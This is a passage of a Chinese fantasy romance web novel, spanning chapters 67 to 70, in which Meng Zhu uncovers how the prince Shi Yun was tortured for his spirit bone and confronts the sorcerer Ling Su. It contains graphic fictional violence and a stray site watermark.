“那怎么了,大人就不能喜欢小孩子的东西了吗?”孟竹笑着,转身冲着摊主指了指,要了最大最漂亮的两个糖人,付好钱,给了照水和施允一人一个。 照水本来就嗜甜,接过糖人一边走一边吃,没两口就吃干净了,施允拿着那个糖人,在手里一直捏着,直到回了客栈,那个糖人也没咬上一口。 入夜,月色中天之时,孟竹的房门被叩响了,是照水。 他的脸色有些苍白,带着些焦急:“阿姐,我得马上回丽山一趟,爷爷传信于我,丽山的结界有所松动,我……” 孟竹一听,心下也添了几分担忧,立刻道:“我同你一起回去看看。” 她刚要转身回屋穿好衣服,便被照水按住了,“应该不是什么大事,你找灵骨要紧,我先回去看看,如果有意外,我一定会联系你。” “放心吧,阿姐。”话音一落,还没来得及听孟竹的回答,照水的身影便化作一缕雾气飘向窗口。 孟竹在门口站了一会儿,想着照水这些年的妖力渐强,除非碰到那种千年大妖或者化神期以上的修士,否则他都能应付的来,便稍稍安心。 她披了件衣服,伸手敲了敲施允的门,没人应声。 孟竹推开门,看见床上睡着的人,他的眼睛闭着,呼吸轻浅,像个安静漂亮的人偶。 今日挂在城楼上那具尸体的画面在她脑海中挥之不去,不知为何,她总是有些不安。 或许是马上就要见到那个神秘的师父了,又或许是死的都是宁国的皇子,而施允也算是宁国的皇子之一,但她又不能确定这件事的源头从何而起。 见到施允安静地睡着,孟竹的那一丝不安才散去,她帮着施允掖了下被角,才轻手轻脚关门出去。 关门的一瞬间,床上的人眼睛睁开。 如果孟竹此时回头看上一眼,就会发现那双眼睛里,只剩下空洞的黑,苍白的皮肤下,有拇指大小的凸起,顺着血管爬过,在薄薄的肉皮中不停鼓动,仿佛下一秒就要咬破那层皮,破体而出。 “施允”张开嘴,无数的黑色爬虫密密麻麻从他张开的口中、眼睛、耳朵里爬了出来,那层人皮迅速塌陷,很快被虫子啃咬干净- 与此同时,五皇子府。 偌大的府内,寂静无声,森森的月光下,流淌着血色的小溪,顺着石阶一点点淌下。 断臂残肢的尸体交叠在一起,不同的死法,却有着相同的模样,那些眼珠被人生生挖了出来,只剩下了两只空洞的流着血的窟窿,无数密密麻麻的眼珠被一根细细的银线串在一起,挂在了门上,风一吹,像是铃铛一样晃来晃去。 司徒景元跪在地上,不停磕着头,“我错了我错了,司徒尘,你……你你别杀我,别杀我别杀我!” 他看着面前的皂靴一步步近了,又近了一步,每一步,都像是来索命的怨鬼。 司徒景元流着泪,满面痛苦癫狂之色,“司徒尘,我……我也对你好过的,我……我是你的兄长啊,你、你小时候我还给你买糖,我、我还带着你玩,是不是?啊?你忘了吗?你忘了吗?” 他跪着爬向施允,想要用手去拉施允的衣摆,却被他一侧身避开了。 施允脸上没有任何表情,他站在月光下,仍是温软和善的一张脸。 听到司徒景元的话,他神情有一瞬间的放空,然后忽然笑了起来。 “啊,我想起来了。”施允笑着,喊了声:“哥哥。” 这一声哥哥含着森森冷意,明明施允笑着,却让司徒景元打了个寒颤。 上一次,他听到这声哥哥,是什么时候来着? 十年前。 他不过是一个不受宠的皇子,所有人都说五皇子天生愚笨,功课也不好,母妃也不得圣上喜爱。 司徒景元从前以为,是因为自己愚笨,才会不招人喜欢,可他发现,司徒尘这个小皇子,他的十一弟,他明明那样聪明,所有人却一样不喜欢他,他经常看到其他的皇子、甚至宫人都能欺辱他。 还好有司徒尘,他想,有了司徒尘的存在,才显得他过得没那么凄惨。 弱小,就活该被欺负。 还好有司徒尘,他才不至于是那个垫底的,才不至于被这些受宠的天之骄子们踩在脚下。 他只需要依附他们,顺从他们,就能安然地当个看客。 他带着一种悲悯的心思接近司徒尘,跟司徒尘说,“我是你的哥哥呀。” 每当司徒尘受了欺负之后,他会躲在一边看,等人走了以后,他会偷偷去安抚小小的司徒尘,他会送给他一些自己玩腻的小玩意儿,大方地告诉他:“这都是哥哥特意买给你的。” 心里有一种隐秘的满足感,司徒尘被打得越狠,他便越是有一种像做救世主的畅快。 渐渐的,司徒尘会同他说更多的话,甚至会把自己学功课的心得说给他听。 司徒景元笑着,心中却道,一个卑贱的玩意儿,你会的再多有什么用呢? 无论是谁,就是宫女太监们,甚至路过的狗都能咬你一口,你学这些,又有什么用呢? 家事国事天下事,哪一桩哪一件可都轮不到你来插手呀。 你不如我,司徒景元心想。 直到有一日,太子不知从何处发现了他同司徒尘暗中来往的秘密,他诚惶诚恐地跪在太子的脚边,说着我以后再也不会同他来往了。 太子却笑了。 又过了两日,他买了一个很大的,很漂亮的糖人去找司徒尘。 司徒尘开心极了,虽然脸上没什么表情,眼睛却亮晶晶的。 他带着司徒尘,说:“闭上眼睛,哥哥带你去一个地方,我们来玩一个游戏。” 司徒尘不疑有他,乖乖地捏着那个糖人跟着他走。 宫门落下的一瞬间,司徒景元心跳如擂鼓,他把门拴住,无视司徒尘带着哭腔的恳求。 “哥哥,你把门打开呀……” “哥哥,哥哥,兄……长,为什么把我关在这里……” “我不吃糖人了,你……你放我出来好不好……” 那座宫殿里有什么,他不知道,只加快了脚步离开。 十三日,整整十三日,他才再次见到司徒尘从那座宫殿里出来。 司徒尘并没有什么变化,他想,大概是他又惹太子殿下生气了,所以不过是饿了他几天罢了。 小惩大戒,已经是很仁慈的处理了吧。 于是,他很快就忘了这件事。 …… 施允叫了这声哥哥以后,司徒景元便跪着爬过去,“对,你想起来了,我曾经也对你好过,你还记得的对不对?” “你杀了我,这就是死罪,你不想活了吗?” 他神情癫狂,不断重复着,“我对你那么好,我对你那么好,你却恩将仇报,你却……” 话还没说完,施允便扯断了他的两只手臂。 “啊——” 尖利的惨叫声响彻云霄,司徒景元看着自己的断臂,疼得几乎快昏厥过去。 他勉强维持着意识,看见施允俯下身,问他:“哥哥,我问你,当时骗我,你后悔吗?” 司徒景元不断点着头,冷汗和眼泪不停地落下,“后悔……后悔的……后……” 可惜他的话还没说完,施允便伸出手,扯出了他的舌头,血溅得很高,他再也说不出话了。 “可惜,我不信了。”施允偏了偏头,从怀里掏出一个纸包,笑着对他说:“你看,我现在也是个被人喜欢的人了,又有人给我买糖人了。” 他打开纸包,拿出那个糖人,咔哒一口咬断了糖人的脑袋,慢慢咀嚼着,将嘴里的糖渣咬得咔咔响。 “好甜。”施允一边吃,一边伸出两指,用力插进了司徒景元的眼睛里,掏出了两颗浑圆的眼球。 “真好,这样你们就不会再用这双眼睛骗人了。” 他随手一甩,两颗眼球便串在了银线上,一滴滴的血顺着银线滚落下来。 带着热气的血溅了他满头满身,施允那张玉白的脸上带着笑,嘴里还不停嚼着沾血的糖人。 直到司徒景元咽气了以后,施允才看向一旁,柜子下面,窝着一个不停颤抖的身影。 小春不停颤抖着,用手捂着自己的嘴,竭力遏制住想要呜咽的冲动,期待着自己不被发现。 那双皂靴却一点点近了,在柜子面前停下。 一张苍白带血的脸出现在小春面前,那张脸笑着,轻声道:“找到你了。” “啊啊啊啊啊啊啊,放开我!放开我!你这个疯子!!!!” 小春不断嚎叫着,直到他的身体被完全拖了出来。 “我记得你。”施允喊他的名字,“小春。” 小春愣住了。 施允仔细打量他的脸,“坠月殿的那天,你在,对不对?” “不不不不……我没有……我没有……” 小春哭着摇头,嗓音凄厉地嘶喊着:“我不知道我不知道,我……我只是个下人,我什么都不知道,你别找我,你别找我……” 说罢,他猛地拔出藏在身后的匕首,狠狠地刺向施允。 没看清施允是怎么出手的,那只握着匕首的手臂便被扯断,落在了一旁。 小春感觉到那冰凉的手像蛇一样缠上来,咔哒一声,颅骨尽碎。 处理完小春,施允才看着自己一身的血,他十指张开,低头看了半天,喃喃道:“好脏……” 他嘴里不停喃喃着,用一块布不停地擦拭着身上和手上的血,越擦越用力,血糊成一片,却怎么也擦不干净。 “太脏了太脏了……”他有些失魂落魄地在偌大的宫殿内走来走去,脚下踩过一片断臂残肢,然后又停下来。 地上有一块碎掉的糖片,施允用手指把它捻起来,放进口中,很珍惜地一点点含化了。 这样甜蜜的东西,他是第一次吃到。 以后还会有吗? 施允找来一面镜子,看着镜中的脸,他对着镜子笑了笑,眼中却掉下泪来。 “我这样脏,她该不喜欢了……” 捂着脸,他低低地在镜子面前抽泣起来,泪水大颗大颗从染血的指缝里溢出来。 在他的身后,成群的尸虫啃食着血肉,月光的倒映下,地上的影子庞大而怪异。 施允抬起头,苍白的一张脸,似哭似笑。 怎么藏不好啊。 这样丑陋的样子。 第68章 隔阂 孟竹是被一阵马蹄声惊醒的。 她爬起来,天色还有些灰暗,浓重的乌云遮天蔽日,好像快下雨了。 推开窗,孟竹往街上扫了一眼,街上的行人少的可怜,只有几个官兵在盘问路过的行人。 “死人了……” “又死人了……” 来来回回的,带着惊恐的声调不断涌入孟竹的耳朵,她沉着脸把窗户关上。 简单地洗漱之后,孟竹下了楼,楼下空空如也,这几日住店的客人都少了很多。 没过一会儿,小二拎着个水桶过来擦洗桌面,孟竹坐在长凳上,问:“京城最近是怎么了,命案这么多?” 小二叹口气,一边擦着桌面一边道:“我们这种平头老百姓哪里知道,昨天晚上,听说整个五皇子府血流成河,但是一具尸体都没留下。” 他面上带着些惊恐,压着声音道:“大家都说,是有妖邪作祟。” 听到这,孟竹便站起身往门外走。 小二忙喊了声:“姑娘,现在出门可要小心呐。” 孟竹冲他笑笑,然后点头道:“我知道,谢谢你。” 出了门,孟竹一路疾行,先是去了三皇子的住处,她用灵力细细地探查了一番,并没有丝毫的妖气。 接着去了四皇子和五皇子府,同样的,没有感受到丝毫的异样,像是一片干涸的死水,什么都没有留下。 唯一不同的是,五皇子府的遭遇看起来比其他两位都要严重得多,虽然没有尸体,但是冲天的血腥味差点令刚踏进门的孟竹直接吐了出来。 孟竹在空无一人的府邸中转了几圈,没有刀剑的痕迹,连灵力残余的气息都没有,更没有妖气。 她心里的疑惑越来越重,那究竟是用什么,才能在一夜之间杀了这么多人而不留下丝毫痕迹呢? 是那个太子的师父吗? 为了帮太子解决竞争对手,所以才对皇子出手? 如果真是如此,那这个人一定是个非常危险的存在。 这样的话,她能顺利从那个人手中拿到灵骨吗? 想到这些,孟竹压下心中的不安,快步往回客栈的方向走去。 回去的路上,天色晦暗昏沉,黑云压日,狂风骤起。 孟竹心想,可惜了,这样的天气,又不能带施允出门了,他应该多晒晒太阳的。 到了客栈,孟竹一路往楼上的走,站到施允的房门前,伸手敲了两下却没人应声。 “施允?” 这个时间,不应该还在睡着吧,孟竹又敲了两下,还是没人应声。 “我进来了。”孟竹说着,伸手推开了门。 房间内氤氲着雾气,隔着纱帘,孟竹看见了若影若现的身形。 “你怎么……这个时间还在……”她背过身,隔着纱帘讷讷道。 话没说完,一只湿淋淋的手臂拨开了那层轻纱,缠到了她的腰间。 孟竹想要回头,又被抱得更紧,施允的声音自身后响起,有些低哑,喊着她的名字:“孟竹……” 这声音听起来异常地干涩,孟竹拍了下缠在腰间的那只手臂,转过身。 浴桶内,热气升腾而起,施允散着发,脸上和单薄的眼皮上都泛起薄红,就连露出来的上半身都像是被用力搓过,深一道浅一道的红痕。 孟竹皱了皱眉,看着他身上的那些红痕,“怎么弄的,洗个澡把自己洗成这副模样?” “这样就干净了。”他趴伏在浴桶边缘,仰头看着孟竹,用手轻轻扯了扯孟竹的衣袖,小声道:“你不喜欢吗?” 为什么总是重复这个问题? 孟竹伸出手,探了探施允的额头,“病了吗?” 那只手覆在他的额头上,掌心微凉,让施允忍不住闭了闭眼,朝着她的掌心轻轻蹭了蹭。 “你怎么在发热啊。”孟竹触到他滚烫的皮肤,立马转身要走,“我去帮你找个大夫。” “不。”施允用力抓住孟竹的手腕,“不要,你不要走,我不需要大夫。” 他的声音恳切,甚至带着些孩子气的执拗,让孟竹不由心下一软,她回头,轻轻摸了摸他湿漉漉的头发,叹口气道:“好吧。” “那我就在这里陪你。” 孟竹站在浴桶边缘,看着施允痴痴望着她的眼神,随口打趣道:“好黏人呀施允。” 她伸手捏了捏施允的脸,“以前你可不是这样。” 以前? 施允愣了一下,“以前的我,是什么样的?” 孟竹想了想,脸上带着点笑意,一瞬间,像是回到了很久很久的从前。 她回忆着,眼神有些放空,慢慢道:“以前……以前你的脾气可臭了,动不动就生气,我总是不知道你在想什么,感觉什么也不能把你击垮,永远那么高傲恣意,像……像一团火,碰上一点,就要把人烧着了。” “你就像是天上的月亮,永远那么高高在上的挂在天上,漂亮的皎洁的,永远一尘不染的。” 深陷在回忆中的孟竹一时间分不清过往和现在,她看着施允的脸,不由自主地张了张口,“施允啊……” 施允的眸色渐渐变冷,嘴上却笑着应了一声,“我在。” 那日在草原的夜晚冲她笑着的施允的脸和眼前重叠在一起,仿佛跨越了二十载春秋,重新回到了她的眼前。 她好像重新回到那个夜晚,问着眼前笑着的人,“施允……你究竟许了什么愿望呢?” 那双眼睛盯着她,渐渐地,弯起的眼睫落下来,他的唇角压平了,并不说话。 在这死寂一般的安静声中,孟竹猛然回神,“对不起……” 她怎么又不由自主地和他说起从前,明明说了记不起来也没关系的,明明现在就很好。 明明现在就很好…… 她是这么想的,可为什么,有一种诡异的、压抑的气氛在她和施允之间,像是无形的一层隔阂。 到底是哪里出了问题? “对不起,我不知道。”施允嘴角勾着一丝笑容,又重复了一遍,“我……不知道。” 孟竹松开手,脸上带着不太自然的笑容,“是我的问题,对不起,我不该和你说以前的事情。” “对不起……” 她好像又说错话了。 究竟该怎么做,究竟该怎么对待他,才能不看到那样患得患失又不安的眼神呢? 她不知道…… 好像怎么做都是错的。 孟竹心乱如麻地转过身,磕磕绊绊地说道:“你……你先洗吧,我先出去了。” 她把一个药瓶往施允手里塞,“记得把药吃了。” 说完,孟竹便把纱帘掀开,快步走了出去。 看着孟竹慌忙离开的背影,施允嘴角的笑容越来越大,直到那扇门关上,他才无声地大笑起来,他捂着脸,笑得浑身颤抖,满脸是泪。 为什么要道歉? 是因为除了道歉以外,你就没有别的话想和我说了吗? 因为你发现了,我不是从前的那个人? 因为我比不上他高高在上,因为我不如他一尘不染,因为他是天上的月亮,而我是地上的尘垢。 所以孟竹,你发现了,你发现和我相处之后,我不如他是吗? 你偏要在我要毁了一切的时候闯到我的世界里来,装作温柔善良的模样哄骗我,帮我治腿,对我好,用那些虚假的柔情蜜语诓骗我。 我真是个蠢货,轻易地就信了你。 你就是个伪善的女人,你自私自利,虚伪至极,你只想着让我变成你想象中的那个人。 可我不知道,我根本不知道你说的那些从前。 你为什么要告诉我? 你为什么要同我说这一切? 为什么要来撩拨我,说什么喜欢我,说什么不必看从前? 骗子,谎话连篇的骗子。 你让我这样患得患失,让我每天陪着你演戏,所以现在连戏都演不下去了是吗? 施允,施允,施允…… 哈哈哈,真可笑,谁是施允? 我是……司徒尘。 一道声音不断在他脑海中回荡。 “看吧,一切都如你所想象的一样,当她发现你的真面目,她会厌弃你,她和其他人没有区别。” “你早该杀了她,去吧,在她厌弃你之前,你应该杀了她。” 施允抱着头,想要甩开脑袋中那不停回荡的声音。 不是的……不是的……不是的!她和其他人不一样。 她会爱他,她会喜欢他。 那道声音像诱哄一样在他脑海深处回响:“你当真有这个自信吗?你看啊,她已经开始怀疑你,讨厌你了。” “你当真藏的住吗?” “你当真以为她对你是真心的吗?” “你这个蠢货,还没被人骗够吗?” 黑色的瞳仁渐渐扩大,直到填满了整个眼白,不过眨眼间又恢复成正常的模样。 施允从水中站起身,面无表情地擦掉脸上的泪,一件件把衣服穿上。 屋外狂风大作,将窗户哐当一声吹开,天边传来几声惊雷,一瞬间暴雨如注。 施允披散着头发,站在窗边,风将他的发吹得凌乱飞舞,苍白的一张脸上平静地几近诡异。 看见了。 熟悉的身影,在狂风暴雨中一闪而过。 这就跑了? 施允看着那消失的人影,脑海中浮现的最后一句话是—— “去吧,杀了所有伤害你的人,这是他们应得的。” 而此时,孟竹顾不得方才跟施允之间的一点小插曲,她在司徒慎身上下了追踪术,就在方才,追踪术被人破坏了。 那个人出现了,事不宜迟,她必须在今天把那个所谓的师父找出来。 孟竹循着那一丝还未消散的灵息追去。 一路上,孟竹发现这丝灵息并不是在宫内,反而往城郊的方向在走。 很快,孟竹穿过一片竹林,到了灵息最后停留的地方,眼前是一处破庙。 这处破庙,孤零零地在深山老林中,强烈的风将破庙的门吹得哒哒作响,里面黑漆漆的一片,像是不见底的深渊。 孟竹吸了口气,捏着拳头逼自己冷静下来。 无论对面是怎么样的人,她都要试一试。 踏进破庙的一瞬间,门在身后猛地合上。 不算大的破庙内,空空如也,破败的佛像下,滚下来一只已经干瘪的野果。 孟竹踢开脚边那个野果,扬声道:“出来吧,你知道我在找你,不要装神弄鬼了。” 话音落下,孟竹便听到一声冷笑,从佛像左侧的阴影中走出来一个人。 浑身黑色的斗篷,脸上戴着面具。 “真是好久不见了,孟竹。” 第69章 灵骨 这声音有点耳熟,但是孟竹已经忘了在哪里听过。 “你是谁?” 斗篷被掀开,那人接下面具,露出了他的脸。 孟竹看了半天,愣了下,“我们认识?” 她从前不太记得交情不深的人的脸,又过了很长时间,孟竹早就记不清从前自己在哪里见过这人了。 对面那人气得脸都扭曲了,他指着自己,咬牙冷笑道:“你不认识我?” “老子是凌宿!” “哈?”孟竹在脑海中想了半天,一*脸疑惑:“谁?” 对面的凌宿破口大骂,用词极为不雅,孟竹在他的怒骂声中,想起了这号人。 孟竹点了点头,“啊……你是那个当时在天启城被抓走的那个……那个……” “凌、宿。”对面人咬牙切齿道。 “哦对对,凌宿。”孟竹恍然大悟,“你就是那个太子的师父?” 凌宿脸色阴冷,道:“是又怎样?当年在天启城,就是你和施允断送了老子的前途,让我被关在苍山火牢里生不如死,让父亲对我彻底失望!”眨眼间,他的身形一闪而过,像道影子一样瞬移至孟竹身前,五指成爪,一道罡风袭向孟竹的命门。 袖中的银刃滑下,孟竹抬手一挡,被那力道震地往后一瞬间退了几步。 凌宿步步紧逼,面上带着狰狞凌厉的微笑,“你以为我还是从前那个凌宿吗?当年若不是你仗着施允的保护肆意妄为,在天启城我就该杀了你。” “都怪你!你这个贱人!!” 孟竹手中的银刃翻飞,磅礴的灵力汇入,她指尖用力,俯身的一瞬间直指凌宿眉心。 “你做了什么?” 她能明显感觉到凌宿如今的修为突飞猛进,但灵息不似一般人纯净,每一次出击都带着鹤唳般的尖啸,浑浊又压抑的气息扑面而来。 就在此刻,凌宿的周身升腾起扭曲怪异的黑雾,像藤蔓一样缠住了孟竹,猛然收紧。 “万相生,开阵!”凌宿低喝一声,以两人为中心瞬间展开一道阵法,遮天蔽日般,瞬间吞没了孟竹。 …… 弯钩似的月亮挂在天边,为暗色的宫墙镀上一层银白的光辉。 孟竹有些意识混乱。 她在哪儿? 她无意识地往前走,身边的景象变成了一座废弃的宫苑,蛛网爬满了檐角,看起来寥落极了。 孟竹抬头望去,破败歪斜的匾额上刻着三个字——坠月殿。 路上有着几个匆匆走过的宫女,她们走到殿门口,小声说着什么。 孟竹走上前去,想要听清她们在说些什么。 “几天了,还没出来?” “不会死了吧?” “好歹是个皇子,出了事,我们怎么担待得起?” 另一个宫女看起来是个领头的,她笑了一声,语气轻松道:“太子殿下都说了,无论发生什么,都不准人进去,天大的事情有太子殿下担着,你们在这操什么心?” 几个宫女唯唯诺诺地应了声。 那个宫女又道:“把门守好了,一只苍蝇也不能放进去。” 说罢,几个宫女在门口站好了,这座宫苑内静的可怕,几人噤声以后,便只剩下地上的枯叶被风卷起的微弱声响。 孟竹站在她们面前,她们却像看不见她似的,她想伸手推开那扇门,手却凭空穿了过去。 是幻象吗? 孟竹穿过那扇门,一踏进殿门,便听见了凄厉的惨叫声。 “啊啊啊啊啊啊啊啊——” “滚开!滚开!滚开啊!” 她被这泣血似的哭喊声惊了一跳,循着那道声音看去。 一个小小的人影瑟瑟发抖地缩在一面墙的角落,看不清脸,只能看到细微的月光下,披散着头发,将头埋在膝盖里浑身抽搐着。 明明殿中的声音几乎快贯彻云霄,殿门外却没有听到一丝声响。 “这都第七日了,他怎么还能坚持得住?” 孟竹慢慢转过头,才发现殿中坐着两人,竟是司徒慎和凌宿。 刚刚说话那人便是宁国的太子司徒慎,他看向凌宿,有些不满道:“师父,当真有你所说的那个灵骨吗?” 凌宿穿着斗篷,戴着面具,露出的唇边带着一丝笑容,道:“你不相信师父?为师说了,只待他心神涣散时,同意把灵骨让渡于我,我便将灵骨种在你的身体里,到时候,你自然可以修道长生,享千秋万代。” 说罢,他看了眼角落里的人,慢悠悠道:“心急可吃不了热豆腐,我修为暂且不够,不能直接将他的灵骨直接剥离,只能用生死怨狱慢慢磨他的心智……”话锋一转,凌宿问道:“说起来,让你准备的十万精魂怎么样了?” 司徒慎笑起来,“我自然为师父准备妥帖,宁国和南国正好有一场仗要打,那些战死的士兵,正是您要的精魂,够师父您修行了吧?” 闻言,凌宿冷笑了一声,“说了是十万,你却只给了五万精魂,是在糊弄为师吗?” “这可不敢。”司徒慎嘴上说着不敢,眼神却没有丝毫敬意,只意味深长地看着凌宿:“等师父为我种下灵骨,剩下的精魂,徒儿自然双倍为您奉上,到时候您神功大成,还要多指点徒儿呢。” 两人相视微笑,掩下眼中的欲望和算计,一同看向角落里的人影。 …… 听不下去了。 孟竹的双腿一软,颓然跪倒在地面上。 “施……施允啊……” 她回过头,那两道让她恨不能生啖其肉的身影像是鬼影一般又散去了。 面前只剩下那个小小的,瑟缩在墙角的身影。 生死怨狱,乃是禁书中记载的最为毒辣阴狠的一种咒术,中咒之人会无时无刻处于被剥骨抽筋的酷刑中,耳边会产生无数怨魂的诅咒,日夜不停,直到意识涣散。 她慢慢挪过去,手脚并用想要抱住那个墙角里的人。 “好疼好疼好疼好疼好疼啊……” “走开!!!走开!!!!” “啊啊啊啊啊啊啊啊!!!” 她看见施允痉挛着倒在地上,他抱着头,疯狂撕扯着自己的头发,时而又把手指塞进嘴里,啃的鲜血淋漓,仿佛只有这样的疼痛,才能让他保持一点点清醒。 孟竹的手却穿过地上颤抖的身体。 为什么摸不到? 为什么没办法让这一切停下来? 为什么她什么都做不到!! 她靠在施允的身边,面如死灰地看着他痛不欲生,看着他浑身被汗打湿了无数遍,大小便失禁,身上恶臭难闻,整个人昏厥过去,很快又抽搐着醒来。 周而复始。 过去了多久。 不知道。 忽然,她听到施允的声音,极小,她俯下身,趴在他的唇边,听到那嘶哑的,呓语似的声音。 “不换……” “死都不换……” “换了……就……等不到了……” 他瞳孔快涣散了,干裂的唇边是被咬得烂成一片的红肉,她想伸手,却一次又一次,穿过他的身体。 孟竹捂住唇,眼泪一滴滴掉下来,泣不成声。 又过了不知道多久,施允跌跌撞撞地爬起来,他扶着墙,伸出手将架子上的一只花瓶推倒。 哐当一声,满地的碎瓷片。 孟竹又听到了司徒慎的惊呼,“他莫不是想要自尽?” “放心,在这个生死怨狱中,他死不了,就是要他求生不得,求死不能。” 下一秒,施允拿起那片碎瓷片,对准自己的胸膛狠狠划下,他像是感知不到疼痛似的,用力剖开了自己的胸膛,鲜红滚烫的血溅了一地。 施允倒在地上,颤着手,往自己破开的胸膛里伸,那只鲜血淋漓的手在血窟窿似的洞口掏来掏去。 孟竹爬过去,跪在他的身前,她想要尖叫,想要用手捂住那不停滑落的血。 太多血了…… 像是要流干了似的…… 她看见施允唇角溢出一丝笑,从里面生生剖出了自己的灵骨,那只带血的手掌中光芒越来越盛,越来越盛。 轰然一声,磅礴的灵压自他掌心迸发。 刺目的白光让她什么也看不见了,耳边只有尖锐的爆鸣声。 画面一转。 眼前的凌宿被灵骨带来的灵压震倒在地,他猛然吐出一口血来,恶狠狠地看向施允:“你有种,生生把灵骨捏碎了也不同意让渡给我!” 凌宿的身体迅速颓败下来,他靠着修炼禁术维持的修为本就不稳固,生死怨狱又需要耗费大量灵力维持,此刻更是急火攻心,他招来一个人,低声吩咐:“告诉太子,灵骨我已经到手,需要炼化,只是我现在身体虚弱,要长时间闭关,在我闭关期间,需要大量的精魂,否则我无法炼化灵骨。” 那人看了一眼倒在地上的施允,似是在问如何处置。 凌宿舔了舔唇角的血,“扔到水井里吧,处理的干净点,反正也活不成了,对外就说,他得了失心疯,自己坠井了吧。” 他说着,像是不解恨似的上前踩在施允的脸上,狠狠踹了几脚,嘴里咒骂着:“老子耗费这么大心血,你让老子功亏一篑!!贱种!!!去死吧!” 孟竹一路跟着,看着那人拎着施允的身体,像丢垃圾一样将他投入了水井。 水面很快染成了一片鲜红。 孟竹跳了下去。 在水中,施允闭着眼睛,胸口破了一个大洞,像是已经绝了气息。 她看着他,守着他,在冰冷的井水里。 这里好像已经不存在时间这种东西,没有日和夜,只有红色的水。 还有水下,无数具已经化为白骨的尸体。 她看见施允的面庞已经被泡得发胀了,变成了青白色。 到底过了多长时间呢,孟竹挨着施允,觉得自己也死在了这片冰冷的水里。 她低下头,看见尸虫爬进了施允的胸膛里,爬进了他的嘴里。 她想伸手驱赶,想用灵力,可她好像一缕幽魂一般,除了看着,什么也做不到。 可渐渐地,施允破开的胸膛渐渐愈合,他的眼睛睁开了。 一双黑漆漆的眼仁。 无数被血水浸泡的白骨动了起来,将他托举起来,他摊开掌心,竟然还剩下半截灵骨。 他将那半截灵骨沉在水井下,用他的血浸泡,那些白骨和尸虫像是兴奋极了,得到了莫大的滋养一般包裹着那半截灵骨。 在此刻,孟竹想起那个曾经被她怀疑过的答案。 人真的可以如此毫无理由地包容一个人所有的一切吗?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第70章【正文完】 第70章 正文完 古书有载:天生一,一生水,水生万物,被灵骨滋养的血肉本就是极好的养料,相互反哺,便能令灵骨再生。 只不过,这需要漫长的过程,少则几年,多则几十年。 尸灵受了施允血肉的滋养,掩盖了灵骨的气息,也保住了施允的一条命。 施允杀了那日将他投井的人,若无其事地回到了众人面前,除了太子,没人知道坠月殿那些天发生的事情。 再回过神来时,面前已是白茫茫的一片。 孟竹于这一片白雾之后,看到了站在她面前的人。 浓重的迷雾散开,面前的人浑身染血,站在她的面前。 孟竹听到施允的声音,一字一句地质问着她:“你因何流泪?” “这一切不都是因你而起吗?” 孟竹缓缓蹲下来,她抱着头,低声否认:“不是的……” “这都怪你啊……” “全部都怪你啊,你这个只会给人带来厄运的人。” “你就没有丝毫愧疚吗?” 他的声音,字字句句,清晰地落在耳边。 “看到我变成这样,你是不是痛快极了?” “因为你卑劣至极,虚伪至极,你期望得到一切的好,又自觉自己不配,于是你心里充满了毁灭、嫉妒、不甘的欲望,一定要弄碎了嚼烂了,你才觉得觉得满足。” “你像个吸血的水蛭一样,不停地从我身上吸取你想要的一切。” “孟竹,你在痛苦什么?你也会感到后悔吗?” 孟竹缓缓地放下抱头手,仰头望着面前的人。 他朝她伸出手来,“跟我走吧,把你的一切都交给我。” 孟竹将手放在他的掌心,慢慢站起身,跟着他朝着迷雾深处走去。 直到浓雾快要完全淹没她的身形时,一把银亮的刀刃从背后贯穿了施允的胸膛。 他不可置信地转过身,“你……竟然还忍心对我下手……” 孟竹看着他在眼前缓缓倒下,轻声道:“你不是他。” “我曾经认错过一次,现在,我绝对不会再认错了。” 面前的迷雾终于散开,孟竹身上缠绕的黑雾也陡然一散,下一秒,孟竹手中的银刃直直插向凌宿的喉咙。 凌宿翻身一避,刀刃顺着他的肩膀划开一道裂口。 他捂着肩膀,咒骂一声:“疯婆子!竟然连万相生都困不住你!” 凌宿本来就想接着万相生这个阵法让孟竹陷入回溯,找到她的心魔将她困在阵中好吸取她身上的修为,谁能想到这人连自己心爱的人化成的心魔都能毫无顾忌地下手。 他本就资质平平,就算转头修炼禁术修为也远达不到他想要的强度,这才想到了这邪门的阵法来吸收别人的修为,这会儿被孟竹破了阵,更是气得口不择言,“贱人!早知如此,我当初在发现那个小畜生没死时就该杀了他,好叫你也尝尝这痛苦的滋味。” “那你为什么没杀了他?”孟竹抬眼,继续道:“因为你想留着他,折磨他,叫他生不如死,是不是?” “死多简单啊,一刀的事,那多没意思。” 被孟竹说中了想法,凌宿冷笑一声,不再应声。 孟竹手中刀刃一转,甩下几滴血珠,“我倒要谢谢你,若不是你,我还不知道当年究竟发生了什么。” 她一步步向前,没注意到凌宿操纵的黑雾绕到身后,瞬间化为了尖利的弯刀刺向孟竹的脖颈。 狂风呼啸着,吹开破庙的门,挟着豆大的雨珠扑面而来。 眨眼间,一颗人头滚落,直挺挺的身子迎面倒了下来。 凌宿张着嘴,那双眼睛微微瞪着,似乎还没有明白发生了什么,便一路滚落在孟竹的脚边。 孟竹持刀的手僵住。 大雨连天,一只骨节苍白的手按住了被风吹得来回晃动的门,那人披头散发,浑身被大雨浇透,像是刚刚从井里爬出的水鬼。 他的身后跟着无数的尸灵,数以万计的白骨骷髅,扭动着,嚎叫着,像是要将那具身躯完全吞没了。 下一秒,那只冰凉的手便掐上了孟竹的脖颈。 施允偏着头,静静地注视着孟竹脸上的表情,他的瞳仁漆黑一片,像是一潭平静的死水。 孟竹被掐得满脸涨红,她伸出双手紧握着施允的手,断断续续地开口:“想……杀了我吗?” 他似乎根本听不懂孟竹在说什么,身后的骷髅尖利地嚎叫着,让施允的手指颤了一下。 “是我……错了。”孟竹用力扯下那只手,她凄然地笑起来,“我不该让你这么难过的。” 她伸手拨开遮住施允面容的长发,在他唇上轻轻贴了贴。 施允的瞳孔瞬间放大。 与此同时,脑海中传来剧烈的声响。 “她在骗你!” “她不过是想要活命!” “杀了她!杀了她!杀了她!” 不是的!不是的! 两种情绪拉扯着施允,让他一时间僵住了身体,直到孟竹再一次抱住了他。 施允呆滞地看着那柔软的身体贴在他的身上,两只手臂圈上来,压着他的脖颈往下。 “为什么……”他的嗓音嘶哑,轻到快要听不到。 孟竹的手滑下来,捧着他的脸,“为什么不怕你?还是为什么要亲你?” 她的眼眶通红,唇颤抖着:“是我让你不安吗?是我做错了吗?我不该不顾你的感受和你说那些话对吗?我该怎么做你才会好受一点呢?” 她早该察觉到的,在一切开始的时候。 为什么没有发现施允的心思呢? 因为草率。 因为她忽略了不同的成长环境对人的影响。 因为她始终认为他就是从前那个施允。 